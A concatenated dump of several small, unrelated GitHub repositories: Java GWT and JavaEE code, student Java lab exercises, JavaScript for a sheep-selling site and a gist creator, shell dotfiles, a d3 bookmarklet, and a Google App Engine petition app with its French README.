AbsolutePanel(); DOM.setStyleAttribute(p.getElement(), "border", "1px solid black"); friends.add(p); p.setHeight("100px"); p.setWidth("250px"); Label pLabel = new Label(friend); final Label nameLabel = new Label(); p.add(nameLabel,100,20); p.add(pLabel,100,50); final Image img = new Image("http://www.mygolfkaki.com/DesktopModules/Custom%20Module/Member%20Management/Image/default.gif"); DOM.setStyleAttribute(img.getElement(), "border", "1px solid black"); img.setPixelSize(80,80); p.add(img,10,10); parent.getDatabaseService().getValue(friend, Names.PHOTO_URL, new AsyncCallback<String>() { @Override public void onFailure(Throwable arg0) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(String url) { if (!url.equals("")) img.setUrl(url); } }); // Get user's first name final StringBuilder sb = new StringBuilder(); parent.getDatabaseService().getValue(friend, Names.FIRST_NAME, new AsyncCallback<String>() { @Override public void onFailure(Throwable caught) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(String result) { sb.append(result + " "); // Get user's last name parent.getDatabaseService().getValue(friend, Names.LAST_NAME, new AsyncCallback<String>() { @Override public void onFailure(Throwable caught) { parent.popupBox("RPC failure", "Cannot communicate with the server"); } @Override public void onSuccess(String result) { nameLabel.setText(sb.append(result).toString()); } }); } }); img.addClickHandler(new ClickHandler() { @Override public void onClick(ClickEvent arg0) { parent.getSidePanel().hide(); parent.getWallPanel().hide(); parent.getSidePanel().display(friend); parent.getWallPanel().display(friend); } }); } } }); } } }); // Update DockPanel panel.selectTab(0); parent.getDockPanel().add(panel,DockPanel.EAST); } void hide() { if (panel != null) {parent.getDockPanel().remove(panel);} } }
474b05007f4320e2f2a1632a84e02e1fd49e1849
[ "Java" ]
5
Java
bengitles/Penn_Book
3e19680a70550a6761b293695ba84355d8dfc6df
779cb6be3aae89615925bd9b62126a698677b2cd
refs/heads/main
<file_sep> var arbiList=[ {id: '3arbi01', src: "https://upload.wikimedia.org/wikipedia/commons/a/a0/Brebis_Barbarine.JPG", breed: "3arbi", weight: 43, height: 90, price: 750, age: 7 }, {id: '3arbi02', src: "https://www.researchgate.net/profile/Khaldi-Zahrane/publication/259417114/figure/fig2/AS:297250275250181@1447881396277/Belier-de-Race-Queue-Fine-de-l-Ouest_Q320.jpg", breed: "3arbi", weight: 47, height: 86, price: 710 , age: 7}, {id: '3arbi03', src: "http://www.algerlablanche.com/public/algerie/races_ovines_algerie/barbarine.jpg", breed: "3arbi", weight: 46, height: 45, price: 690, age: 9 }, {id: '3arbi04', src: "https://upload.wikimedia.org/wikipedia/commons/thumb/a/a0/Mouton-rouge-du-roussillon_SDA2013.JPG/1200px-Mouton-rouge-du-roussillon_SDA2013.JPG", breed: "3arbi", weight: 41, height: 98, price: 630, age: 8 } ] var gharbiList=[ {id: 'gharbi01', src: "http://www.algerlablanche.com/public/algerie/races_ovines_algerie/chellalia.jpg", breed: "Gharbi", weight: 49, height: 70, price: 700, age: 6 }, {id: 'gharbi02', src: "https://www.mdpi.com/animals/animals-11-00839/article_deploy/html/images/animals-11-00839-g003.png", breed: "Gharbi", weight: 46, height: 77, price: 640 , age: 12}, {id: 'gharbi03', src: "https://www.echoroukonline.com/wp-content/uploads/2021/03/kebch_342632160.jpg", breed: "Gharbi", weight: 43, height: 94, price: 600, age: 9 }, {id: 'gharbi04', src: "https://tunisie.co/uploads/images/content/aid-280817-1.jpg", breed: "Gharbi", weight: 45, height: 106, price: 670, age: 8 } ] var ThibarList=[ {id: 'Thibar01', src: "https://docplayer.fr/docs-images/91/105651171/images/34-0.jpg", breed: "Thibari", weight: 41, height: 70, price: 450, age: 9 }, {id: 'Thibar02', src: "http://tunisie.co/uploads/images/content/mouton-090916-6.jpg", breed: "Thibari", weight: 43, height: 77, price: 420 , age: 7}, {id: 'Thibar03', src: "https://www.races-ovines-des-massifs.com/fr/description-races/noire-velay/images/noire-velay.jpg", breed: "Thibari", weight: 42, height: 94, price: 550, age: 8 }, {id: 'Thibar04', src: "http://www.location-mouton.ovh/images/mouton_page1_1.jpg", breed: "Thibari", weight: 46, height: 100, price: 630, age: 12 } ] var dhabe7List=[ {id: 'Dhabe701', src: "https://c8.alamy.com/compfr/k22b17/paris-france-26-juin-2017-coupe-boucher-musulman-un-mouton-pour-l-aid-al-adha-l-eid-al-adha-fete-du-sacrifice-est-le-deuxieme-de-deux-holid-musulmane-k22b17.jpg", name: "<NAME>", price: 40, location: 'Ariana' }, {id: 'Dhabe702', src: "https://www.france-hajj.fr/wp-content/uploads/2016/09/hajj-aid-al-adha-1.jpg", name: "<NAME>", price: 30, location: 'Beja' }, {id: 'Dhabe703', src: "https://aujourdhui.ma/wp-content/uploads/2016/02/cest-pour-son-professionnalisme-que-lon-choisit-le-boucher-pour-decouper-la-carcasse-du-mouton-de-laid-300x224.jpg", name: "<NAME>", price: 30, location: 'Sfax' }, {id: 'Dhabe704', src: "https://www.al-kanz.org/wp-content/uploads/2020/06/boucherie-halal.jpg", name: "<NAME>", price: 35, location: 'Sousse' }, {id: 'Dhabe705', src: "3andi_dhabe7.png", name: '', price: 0, location: '' }, ] localStorage.setItem("arbiList", JSON.stringify(arbiList)); localStorage.setItem("gharbiList", JSON.stringify(gharbiList)); localStorage.setItem("ThibarList", JSON.stringify(ThibarList)); localStorage.setItem("dhabe7List", JSON.stringify(dhabe7List)); <file_sep># pair-project This project consist of creating a website to sell allouch el aid during the covid period.
97d9a6b5b81eacadcf3bb00e684f5c14057896d6
[ "JavaScript", "Markdown" ]
2
JavaScript
Ines-jammeli/pair-project
7d6ef7607c16d2e2e00c95f2ed4088455f4071a6
545b556330f3f9234650e260e18c4998d7b1b3a6
refs/heads/master
<file_sep>"use strict"; //define functions here function createGist(filename, content, description, token){ //alert("2. " + filename) var idata = {}; idata[filename] = {"content" : content} var data = { "public": true, "description": description, "files": idata // [filename]: { // "content": content // } } //alert(JSON.stringify(data)) $.ajax({ url: 'https://api.github.com/gists', type: 'POST', dataType: 'json', data: JSON.stringify(data), headers: { Authorization: "token <PASSWORD>" } }).done(function(gistdata){ //alert("success1") //alert(gistdata.owner.login + " and " + gistdata.id) myGists(gistdata.owner.login, token); }) }; var myGists = function (username, token){ var outhtml = ""; $.ajax({ url: 'https://api.github.com/users/' + username + '/gists', type: 'GET' }).done(function(gistdata) { //alert("success2") $.each(gistdata, function(i) { outhtml = outhtml + '<a href="' + gistdata[i].html_url +'"> ' + gistdata[i].description + '</a><br>' }); // alert(outhtml); $('#results').html(outhtml); }); }; var bindCreateButton = function() { // call functions here $('#createbtn').click(function(e) { var filename = $('#gistFName').val(); var content = $('#gistContent').val(); var description = $('#gistDesc').val(); var token = $('#personaltoken').val(); //alert ("1. " + filename) createGist (filename, content, description, token); }); }; $(document).ready(function(){ bindCreateButton(); });
f2cb9a38fa861de792dc973110e9581f194394f4
[ "JavaScript" ]
1
JavaScript
villysiu/js-apis-lab-v-000
261281cc3548b53886e8ebcee168f1b0be140ab1
254b0e083a2fcb9109849ef0f72e84b348d49706
refs/heads/master
<repo_name>FabianWenzel/DW<file_sep>/README.md # DW Project for the Deutsche Welle <file_sep>/DWiframeV2.js javascript: (function() { var head = document.getElementsByTagName("head")[0]; var script = document.createElement("script"); script.charset = "utf-8"; script.src = "https://d3js.org/d3.v3.min.js"; head.appendChild(script); var outerdiv = document.createElement('div'); outerdiv.setAttribute("id", "outerdiv"); outerdiv.style.position = "absolute"; outerdiv.style.top = "15%"; outerdiv.style.left = "10%"; outerdiv.style.zIndex = "1000000"; outerdiv.style.background = "#fff"; outerdiv.style.color = "#333"; outerdiv.style.boxShadow = "0px 0px 15px 0px rgba(50, 50, 50, 1)"; var close = document.createElement('a'); var text = document.createTextNode("Close"); close.appendChild(text); close.setAttribute('href', '#'); close.onclick = function() { this.parentNode.parentNode.removeChild(this.parentNode); }; var ifra = document.createElement('iframe'); ifra.setAttribute("height", "700"); ifra.setAttribute("width", "700"); ifra.setAttribute("id", "myframe"); void(document.body.appendChild(outerdiv)); void(outerdiv.appendChild(ifra)); void(outerdiv.appendChild(close)); var iframeElementx = document.getElementById("myframe"); var iframeElementy = (iframeElementx.contentWindow || iframeElementx.contentDocument); var iframeElementz = iframeElementy.document.body; var data = [10, 50, 80]; var r = 300; var color = d3.scale.ordinal() .range(["red", "blue", "orange"]); var canvas = d3.select(iframeElementz).append("svg") .attr("width", 800) .attr("height", 800); var group = canvas.append("g") .attr("transform", "translate(300, 300)"); var arc = d3.svg.arc() .innerRadius(0) .outerRadius(r); var pie = d3.layout.pie() .value(function (d) {return d; }); var arcs = group.selectAll(".arc") .data(pie(data)) .enter() .append("g") .attr("class", "arc"); arcs.append("path") .attr("d", arc) .attr("fill", function(d) {return color(d.data);}); arcs.append("text") .attr("transform", function(d){return "translate(" + arc.centroid(d) + ")";}) .attr("text-anchor", "middle") .attr("font-size", "1.5em") .text(function(d) {return d.data; }); }()); <file_sep>/popup.js /** * Created by fuexle on 09.08.2016. */ meinpopup=open('','_blank','width=450,height=150'); meinpopup.document.write('Titel:%20%20'); meinpopup.document.write(document.title); meinpopup.document.write('<%20/>'); meinpopup.document.write('URL:%20%20'); meinpopup.document.write(window.location.toString()); meinpopup.focus();
6c3cddbf2e1cd437d5f8e051f5922186c6a5bdc1
[ "Markdown", "JavaScript" ]
3
Markdown
FabianWenzel/DW
b8e3e11360998c9f486e6ac2647f51053ccf5815
6272b83f5dee02660392aca7bde8eb1f95204fdf
refs/heads/master
<file_sep>import xmlschema from pprint import pprint from xml.etree import ElementTree def run(): schema = xmlschema.XMLSchema('drugbank.xsd') xt = ElementTree.parse('full_database.xml') root = xt.getroot() pprint(xs.elements['drug'].decode(root[0])) #print(schema.types) #pprint(dict(schema.elements)) #pprint(sorted(schema.maps.types.keys())[:]) #pprint(sorted(schema.maps.elements.keys())[:10]) #save = drugbank_schema.to_dict('full_database.xml') # drug_gene = {} # keys will be drug generic names, values will be gene symbols # tree = ET.parse('full_database.xml') # root = tree.getroot() # drugs = root.findall("drug") # for drug in drugs: # # get its common name # name = drug.find("name") # if name is None: # continue # generic_name = name.text.lower() # # figure out if approved # is_approved = False # groups = drug.find("groups") # if groups is not None: # for group in groups.findall("group"): # if group.text == "approved": # is_approved = True # if not is_approved: # continue # if debug: # sys.stderr.write(generic_name+"\t") # gene_symbol = None # targets_element = drug.find("targets") # if targets_element is not None: # targets = targets_element.findall("target") # for target in targets: # # not all targets have a position, but for those that do, # # only take the top-ranked target association # if target.attrib.has_key("position"): # if target.attrib["position"] != '1': # continue # known_action = target.find("known-action") # if known_action.text != "yes": # continue # polypeptide = target.find("polypeptide") # if polypeptide is None: # continue # organism = polypeptide.find("organism") # if organism.text != "Human": # continue # extids = polypeptide.find("external-identifiers") # for extid in extids.findall("external-identifier"): # if extid.find("resource").text == "HUGO Gene Nomenclature Committee (HGNC)": # hgnc_id = extid.find("identifier").text # if hgnc_id is not None: # if hgnc.has_key(hgnc_id): # gene_symbol = hgnc[hgnc_id]['Approved Symbol'] # break # drug_gene[generic_name] = gene_symbol # add key-value pair to dictionary # if debug: # if gene_symbol is None: # print "" # else: # print gene_symbol # return drug_gene if __name__ == '__main__': run()
a5a8a24f41fff4deaec1d2b780b9159ab31f6d67
[ "Python" ]
1
Python
HealthVivo/Drug_Bank_Parser
324d44eebb839bdbfd8e29bd748a852c114431e7
2deff1827dbca9510f211e7cd7e17c777c6d443e
refs/heads/master
<file_sep>#include <stdio.h> int main(int argc, char const *argv[]) { double a,b; scanf("%d %d",&a,&b); printf("%.9f\n",a/b); return 0; }<file_sep>#include <stdio.h> int main(int argc, char const *argv[]) { int A,B,C; scanf("%d %d %d",&A,&B,&C); printf("%d\n%d\n%d\n%d\n",(A+B)%C,((A%C)+(B%C)%C),(A*B)%C,((A%C)*(B%C))%C); return 0; } <file_sep>#include <stdio.h> int main(int argc, char const *argv[]) { int a; scanf("%d",&a); printf("%d\n",a-543); return 0; } <file_sep>#include <stdio.h> int main(int argc, char const *argv[]) { int a,b,c,d,e,f; scanf("%d %d %d %d %d %d",&a,&b,&c,&d,&e,&f); printf("%d %d %d %d %d %d",1-a,1-b,2-c,2-d,2-e,8-f); return 0; } <file_sep>#include <stdio.h> int main(int argc, char const *argv[]) { char a[50]; scanf("%s",a); printf("%s%s%s%s",a,"?","?","!"); return 0; }
b8eacd4b52273c6bc4ea69fe84644bf5b450f030
[ "C" ]
5
C
lookuss/study
1e95ec9235a2bd742ddf68a42de219d41f497e69
e803a296724b9480623fdc3b6e3cc9c616e0071a
refs/heads/master
<file_sep><<<<<<< HEAD package Package; import java.util.*; public class lab3problem1 { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.println("Enter a positive integer, the input ends with a 0: "); int evens; evens = 0; int n; int sum; int div; double average; sum = 0; div = 1; n = input.nextInt(); sum = sum + n; if (n % 2 == 0) evens = evens + 1; while (n !=0) { n = input.nextInt(); sum = sum + n; div = div + 1; if (n % 2 == 0) evens = evens + 1; } average = sum / div; System.out.println("The number of even numbers: " + evens); System.out.println("The total sum: " + sum); System.out.println("The average is: " + average); // calculating the number of even numbers, sum, and average. Stops when user enters 0 } } ======= package Package; import java.util.*; public class lab3problem1 { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.println("Enter a positive integer, the input ends with a 0: "); int evens; evens = 0; int n; int sum; int div; double average; sum = 0; div = 1; n = input.nextInt(); sum = sum + n; if (n % 2 == 0) evens = evens + 1; while (n !=0) { n = input.nextInt(); sum = sum + n; div = div + 1; if (n % 2 == 0) evens = evens + 1; } average = sum / div; System.out.println("The number of even numbers: " + evens); System.out.println("The total sum: " + sum); System.out.println("The average is: " + average); // calculating the number of even numbers, sum, and average. Stops when user enters 0 } } >>>>>>> e75fc2f6796e078601fb50a4d22c9dbf97650bb7 <file_sep>package Package; import java.util.ArrayList; import java.util.Collections; public class Course_lab8 { private String courseName; private ArrayList<String> students; private int numberOfStudents; public Course_lab8(String courseName) { this.courseName = courseName; students = new ArrayList<>(); numberOfStudents = 0; } public void addStudent(String student) { students.add(student); numberOfStudents++; } public String[] getStudents() { return students.toArray(new String[students.size()]); } public int getNumberOfStudents() { return numberOfStudents; } public String getCourseName() { return courseName; } public void dropStudent(String student) { Collections.sort(students); if (students.contains(student)) { students.remove(students.indexOf(student)); } numberOfStudents--; } } <file_sep>package Package; import java.util.*; public class Bond { double coupon; int payments; double interest; double valueMaturity; public Bond() { this.coupon = 0; this.payments = 0; this.interest = 0; this.valueMaturity = 0; } public Bond(double coupon, int payments, double interest, double valueMaturity) { this.coupon = coupon; this.payments = payments; this.interest = interest; this.valueMaturity = valueMaturity; } public double getPrice() { double price = coupon * (1-(1 / Math.pow(1+ interest, payments)) ) + valueMaturity *(1/ Math.pow(1 + interest, payments)); return price; } } <file_sep><<<<<<< HEAD package Package; import java.util.*; public class lab2problem6 { public static void main(String[] args) { Random rand = new Random(); int a = 2 + (int)(Math.random()* 8); int b = 1 + (int)(Math.random()* 9); int c = rand.nextInt(9) + 1; int d = rand.nextInt(9) + 1; int e = rand.nextInt(9) + 1; int f = rand.nextInt(9) + 1; int g = rand.nextInt(9) + 1; int h = rand.nextInt(9) + 1; int i = rand.nextInt(9) + 1; int j = rand.nextInt(9) + 1; System.out.println("(" + a + b + c + ") " + d + e + f + "-" + g + h + i + j); // Write a Java program that generates and prints a random phone number every time the //program is executed. The number should be formatted as (xxx) xxx-xxxx. The phone number //may not start with 0 or 1. For example, the result of a run could be (345) 455-8999. } } ======= package Package; import java.util.*; public class lab2problem6 { public static void main(String[] args) { Random rand = new Random(); int a = 2 + (int)(Math.random()* 8); int b = 1 + (int)(Math.random()* 9); int c = rand.nextInt(9) + 1; int d = rand.nextInt(9) + 1; int e = rand.nextInt(9) + 1; int f = rand.nextInt(9) + 1; int g = rand.nextInt(9) + 1; int h = rand.nextInt(9) + 1; int i = rand.nextInt(9) + 1; int j = rand.nextInt(9) + 1; System.out.println("(" + a + b + c + ") " + d + e + f + "-" + g + h + i + j); // Write a Java program that generates and prints a random phone number every time the //program is executed. The number should be formatted as (xxx) xxx-xxxx. The phone number //may not start with 0 or 1. For example, the result of a run could be (345) 455-8999. } } >>>>>>> e75fc2f6796e078601fb50a4d22c9dbf97650bb7 <file_sep><<<<<<< HEAD package Package; import java.util.Scanner; public class lab3problem6 { public static void main(String[] args) { int vowel=0; Scanner scan = new Scanner(System.in); System.out.println("Enter letters"); String str=scan.nextLine(); System.out.println(getVowels(str)); // . Write a Java program to count the vowels in a string given as input. It should use a The //program should use a method that takes the string and returns the count of the vowels. } public static int getVowels (String str) { int count = 0; for(int i=0; i<str.length();i++ ) { if(str.substring(i, i+1).equals("a")) { count ++; } if(str.substring(i,i+1).equals("e")) { count ++; } if(str.substring(i,i+1).equals("i")) { count ++; } if(str.substring(i,i+1).equals("o")) { count ++; } if(str.substring(i,i+1).equals("u")) { count ++; } } return count; } //System.out.println(getvowels); // return count; } ======= package Package; import java.util.Scanner; public class lab3problem6 { public static void main(String[] args) { int vowel=0; Scanner scan = new Scanner(System.in); System.out.println("Enter letters"); String str=scan.nextLine(); System.out.println(getVowels(str)); // . Write a Java program to count the vowels in a string given as input. It should use a The //program should use a method that takes the string and returns the count of the vowels. } public static int getVowels (String str) { int count = 0; for(int i=0; i<str.length();i++ ) { if(str.substring(i, i+1).equals("a")) { count ++; } if(str.substring(i,i+1).equals("e")) { count ++; } if(str.substring(i,i+1).equals("i")) { count ++; } if(str.substring(i,i+1).equals("o")) { count ++; } if(str.substring(i,i+1).equals("u")) { count ++; } } return count; } //System.out.println(getvowels); // return count; } >>>>>>> e75fc2f6796e078601fb50a4d22c9dbf97650bb7 <file_sep>package Package; import java.util.*; public class lab5problem3 { public static void main(String[] args) { Scanner scan = new Scanner(System.in); double numstudents = 0; System.out.print("Enter the number of students"); numstudents = scan.nextDouble(); double[] allscores = new double[numstudents]; String[] studentnames = new String[numstudents]; int counter = 0 for(int i = 0; i<numstudents; i ++) { counter = i+1; System.out.println("Enter student " + counter + "'s name: "); studentnames[i] = scan.nextLine(); System.out.println("Enter student " + counter + "'s score: "); allscores[i] = scan.nextDouble(); } // TODO Auto-generated method stub } } <file_sep><<<<<<< HEAD package Package; public class lab3problem3 { public static void main(String[] args) { for(int i = 1; i<=100; i++) { System.out.print((char)i + " "); if(i%20==0) { System.out.println(); } } // TODO Auto-generated method stub } } ======= package Package; public class lab3problem3 { public static void main(String[] args) { for(int i = 1; i<=100; i++) { System.out.print((char)i + " "); if(i%20==0) { System.out.println(); } } // TODO Auto-generated method stub } } >>>>>>> e75fc2f6796e078601fb50a4d22c9dbf97650bb7
390028df92136dece271afe2c0e832a6f2aa93e2
[ "Java" ]
7
Java
SaroshRanji/CMPT220ranji
28e337bb214865c7b0b01737f83910ded35a2e4c
db808abe7c4238536eaa407c43023bd78f9cba99
refs/heads/master
<file_sep>package br.com.jeerestproject.dao; import br.com.jeerestproject.domain.User; import javax.inject.Named; /** * Created by laerteguedes on 16/02/17. */ @Named public class UserDaoImpl extends DaoImpl<User> implements UserDao{ } <file_sep>package br.com.jeerestproject.dao; import br.com.jeerestproject.domain.User; /** * Created by laerteguedes on 16/02/17. */ public interface UserDao extends Dao<User>{ } <file_sep>package br.com.jeerestproject.dao; import br.com.jeerestproject.domain.Employee; /** * Created by laerteguedes on 14/12/16. */ public interface EmployeeDao extends Dao<Employee>{ }
3f4e038a9c8a5d5a7baff7a94a3d31e04f2bdf58
[ "Java" ]
3
Java
LaerteGuedes/javaEERestBaseProject
1bd85d7f041cda1d1df624df974077fffc509db3
5f317d784c6c22b23d1469e7afe0093c7339ee4b
refs/heads/master
<file_sep># Load .bashrc, even when starting a login shell. [[ -f ~/.bashrc ]] && source ~/.bashrc <file_sep># My dotfiles These are the configuration files I want on every machine I use. I run both OS X and Linux, so I try to keep things as portable as possible. This repository is laid out in the format expected by thoughtbot's dotfile manager, [rcm](https://github.com/thoughtbot/rcm). ## Installation Clone to the standard rcm dotfiles location: ``` git clone git://github.com/eugeneius/dotfiles.git ~/.dotfiles ``` Install rcm: https://github.com/thoughtbot/rcm#installation Bootstrap the `.rcrc` file, then install everything else: ``` rcup rcrc && rcup ``` ## Local overrides Wherever possible, each file tries to load local overrides: `.bashrc` sources `.bashrc.local`, for example. This lets me avoid committing machine-specific or sensitive details. ## Inspiration Most of this is copied from others' dotfiles, especially these ones: - https://github.com/holman/dotfiles - https://github.com/mathiasbynens/dotfiles - https://github.com/rtomayko/dotfiles - https://github.com/ryanb/dotfiles - https://github.com/thoughtbot/dotfiles <file_sep>alias be='bundle exec' # Include local aliases [[ -f ~/.bash_aliases.local ]] && source ~/.bash_aliases.local <file_sep># Search the PATH again if an executable is not found where it was last time. # This can happen when ./bin is in your PATH and you change directory. shopt -s checkhash # Include aliases [[ -f ~/.bash_aliases ]] && source ~/.bash_aliases # Include local config [[ -f ~/.bashrc.local ]] && source ~/.bashrc.local # Customize the prompt to add details about the current git repository. # This has to come after the above local include, because we're relying # on it to load the __git_ps1 function in an OS-specific way. [[ -f ~/.gitprompt ]] && hash __git_ps1 2>/dev/null && source ~/.gitprompt
bed1e3e1295bf605963a5c50cfe3b2472fd884b5
[ "Markdown", "Shell" ]
4
Shell
eugeneius/dotfiles
183361bfbe85b1b9a8e40e6f3d92f4f9f8af306d
361fe8760e6ee32752c4e0daf9598e8417230198
refs/heads/main
<file_sep>## Projet TinyPet Dans le cadre du module développement d'applications sur le Cloud, il nous a été demandé de réaliser une application web pour la gestion des pétitions en s’inspirant des sites existants comme change.org et d’autres. Dans ce readme nous allons détailler les différentes fonctionnalités réalisées ainsi que quelques aperçus de notre application. Ce projet a été réalisé par <NAME>, <NAME>, <NAME>, <NAME>. ## Les liens <li>Lien vers l'application : https://cloud-project-302112.appspot.com/index5_.html <li>Lien vers l'API : https://cloud-project-302112.appspot.com</li> <br/> ## Fonctionnalités réalisées Voici des fonctionnalités qu’on a réalisées : <li>Ajouter/Modifier/Supprimer une pétition</li> Pour créer une pétition nous avons mis en place un formulaire avec six champs : titre et description comme champs obligatoires, thème, tag, une URL d’une image et un nombre de signatures comme objectif à atteindre en champs optionnels. <li>Ajouter un objectif pour un nombre de signature</li> Laisser l’utilisateur choisir le nombre de signatures nécessaires pour que sa pétition atteigne son objectif final. <li>Afficher les détails d’une pétition</li> Nous avons mis en place des boutons “Voir la pétition” qui permet de consulter les détails de chaque pétition, les champs remplis lors de la création de la pétition ainsi que l’auteur de la pétition, la date de la création et la date de la dernière modification. <li>Signer une pétition/Enlever une signature</li> Pour chaque signature, nous avons mis en place un bouton “Signer la pétition” qui augmente le nombre de signataires à chaque nouvelle signature. Dans le cas où l’utilisateur est le propriétaire de la pétition, nous affichons un message à l'écran pour lui indiquer qu’il ne peut pas signer sa propre pétition. Si l’utilisateur veut signer une pétition plus d’une fois, il aura également un message d’erreur. <li>Lister mes pétitions créées/signées</li> Chaque utilisateur a la possibilité de consulter la liste des pétitions qu’il a créé/signé et également la possibilité de consulter les détails de chacune et de les modifier ou les supprimer. <li>Lister les pétitions les plus récentes/signées</li> Dans la catégorie “Parcourir des pétitions”, nous pouvons consulter les pétitions postées triées par date de création en cliquant sur “Les pétitions récentes” ou obtenir les pétitions signées triées par le nombre de signatures dans l’ordre décroissant en choisissant la sous-catégorie “Top pétitions signées”. <li>Rechercher les pétitions en fonction du titre/tag</li> En cliquant sur l’icône de Recherche, nous pouvons effectuer une recherche de pétition souhaitée en fonction du titre ou du tag. En fonction du titre, nous pouvons saisir les mots-clés et les pétitions qui les ont dans leurs titres seront affichées. En fonction du tag, nous avons besoin de saisir l’un des tags de la pétition souhaitée et toutes les pétitions avec ce tag seront affichées. <br/> ## Performance Nous avons testé les différentes fonctionnalités sur différents systèmes d’exploitation, nous avons également vérifié si notre application est scalable et respecte le délai maximum de 500 ms. Pour cela, le tableau représente un calcule du délai d’exécution de chaque requête , c'est-à-dire le temps qu’il a fallu pour la récupération des données nécessaires depuis la base de données, ou l'envoi de ces derniers pour certaines requêtes. Ce délais change d’une requête à une autre, il dépend de la quantité d'information à récupérer et non du nombre d’utilisateurs, ce qu’on peut voir sur le tableau par exemple sur la récupération des pétition signé qu’on on récupère les top 100 ça nous prend 343,25 ms alors que 10 pétition prend 72,15 ms. </br> <img width="673" alt="Performance" src="https://user-images.githubusercontent.com/76114615/117509958-7731cf00-af8b-11eb-8f05-5b04129fb9e8.png"> ## Aperçu de l’application </br> <li>Page d'accueil / Les pétitions récentes / Les pétitions plus signées</li></br> <img width="1437" alt="Page d'accueil" src="https://user-images.githubusercontent.com/76114615/117511803-a7c73800-af8e-11eb-84a3-42d7d84ded04.png"> </br> <li>Création d'une pétition</li></br> <img width="1437" alt="Création" src="https://user-images.githubusercontent.com/76114615/117511771-9da53980-af8e-11eb-9bbd-415903c76a0d.png"> </br> <li>Rechercher une pétition en fonction du titre/tag</li></br> <img width="1420" alt="Rechercher une pétition" src="https://user-images.githubusercontent.com/76114615/117511931-e826b600-af8e-11eb-8cb1-ca0eabc1fb37.png"> </br> <li>Mes pétitions créées/signées</li></br> <img width="1301" alt="Mes petition" src="https://user-images.githubusercontent.com/76114615/117514834-13ac9f00-af95-11eb-8784-1520e9c6b110.png"> ## Conclusion Ce projet est une expérience très intéressante, qui nous a permis d’acquérir des connaissances tout au long de sa réalisation, ainsi que de mettre en pratique ce qu’on a appris durant le module développement d’applications sur le cloud avec un cas réel. Au niveau de la gestion d'équipe, la réalisation de TinyPet nous a permis de s’entraider et de partager nos connaissances avec les autres, ainsi que savoir s’organiser et répartir les tâches tout en respectant les deadlines. Pour réaliser l’interface de notre application web, nous avons utilisé Mithril.js qui est un framework javascript réactif. Ce projet nous a apporté l’opportunité de découvrir Mithril.js utilisé pour concevoir des applications monopage et d’avoir une solution plus efficace pour améliorer les performances. <file_sep>package foo; import java.util.HashSet; public class PetitionItem { public String ID = null; public String theme = null; public String titre = null; public String description = null; public String date = null; public String update_at = null; public String proprietaire = null; public int nbSignataire = 0; public int objectifSignataire = 0; public HashSet<String> tag = null; public String tag_string = null; public String img_url = null; public PetitionItem() {} } <file_sep>package foo; import javax.servlet.annotation.WebServlet; import java.io.IOException; import java.util.ArrayList; import java.util.HashSet; import java.util.List; import java.util.Random; import java.util.Set; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import com.google.appengine.api.datastore.DatastoreService; import com.google.appengine.api.datastore.DatastoreServiceFactory; import com.google.appengine.api.datastore.Entity; import com.google.appengine.api.datastore.PropertyProjection; import com.google.appengine.api.datastore.FetchOptions; import com.google.appengine.api.datastore.PreparedQuery; import com.google.appengine.api.datastore.Query; import com.google.appengine.api.datastore.QueryResultList; import com.google.appengine.api.datastore.FetchOptions; import com.google.appengine.api.datastore.Query.FilterOperator; import com.google.appengine.api.datastore.Query.FilterPredicate; import com.google.appengine.api.datastore.Query.SortDirection; @WebServlet(name = "Top100Petition", urlPatterns = { "/top100Petition" }) public class Top100Petition extends HttpServlet { @Override public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html"); response.setCharacterEncoding("UTF-8"); response.getWriter().print("<h2> top 100 des petitions signé </h2>"); long t1=System.currentTimeMillis(); DatastoreService datastore = DatastoreServiceFactory.getDatastoreService(); Query q = new Query("Petition"); q.addProjection(new PropertyProjection("nbSignataire", Integer.class)); q.addSort("nbSignataire", SortDirection.DESCENDING); PreparedQuery pq = datastore.prepare(q); List<Entity> petitions = pq.asList(FetchOptions.Builder.withLimit(100)); for (int i=0; i<petitions.size(); i++) { response.getWriter() .print("<li> " + petitions.get(i).getKey() + " ------> Nombre votant : " + petitions.get(i).getProperty("nbSignataire")); } long t2=System.currentTimeMillis(); response.getWriter().print("<li> Temps ecoulé : " + (t2-t1)); // compte des signataires en back-end Methode 1 } } // Méthode pour récuperer les signataires deja presents puis en rajouter, à voir ac le prof si cest necessaire //Query u = new Query("User"); // ajouter une transcation read only //u.addProjection(new PropertyProjection("id", String.class)); /* PreparedQuery uq = datastore.prepare(u); List<Entity> users = uq.asList(FetchOptions.Builder.withLimit(50)); response.getWriter().print("<li> petitions:" + petitions.size() + "<br>"); response.getWriter().print("<li> users:" + users.size() + "<br>"); //int nbSignatures = 2; for (int i=0; i<users.size(); i++) { for (int j=0; j<petitions.size(); j+=2) { ArrayList<String> listSignatairePet1 = (ArrayList<String>) petitions.get(j).getProperty("signataire"); ArrayList<String> listSignatairePet2 = (ArrayList<String>) petitions.get(j+1).getProperty("signataire"); HashSet<String> hashListSignataire1 = new HashSet<String>(listSignatairePet1); HashSet<String> hashListSignataire2 = new HashSet<String>(listSignatairePet2); for (int z=0; z<nbSignatures; i++) { hashListSignataire1.add(users.get(i).toString()); hashListSignataire2.add(users.get(i).toString()); } if (petitions.size() % 10 == 0) { nbSignatures *= 2 ; } response.getWriter().print("<li>" + hashListSignataire1 + "<li>"); response.getWriter().print("<li>" + hashListSignataire2 + "<li>"); petitions.get(j).setProperty("signataire", hashListSignataire1); petitions.get(j+1).setProperty("signataire", hashListSignataire2); datastore.put(petitions.get(j)); datastore.put(petitions.get(j+1)); response.getWriter().print("<li> petition:" + petitions.get(j).getKey() + "signé par " + users.get(i).getKey()); response.getWriter().print("<li> petition:" + petitions.get(j+1).getKey() + "signé par " + users.get(i).getKey()); } }*/
83f5b72a1a95d45073ce53f373d93a4f42a8c881
[ "Markdown", "Java" ]
3
Markdown
thiziri-HADJI/petitions
6ec2266b168b37a8c56a2e174352fb9388f2b183
99c024fce51663133bf08dd931f3f684a83bdc9e
refs/heads/master
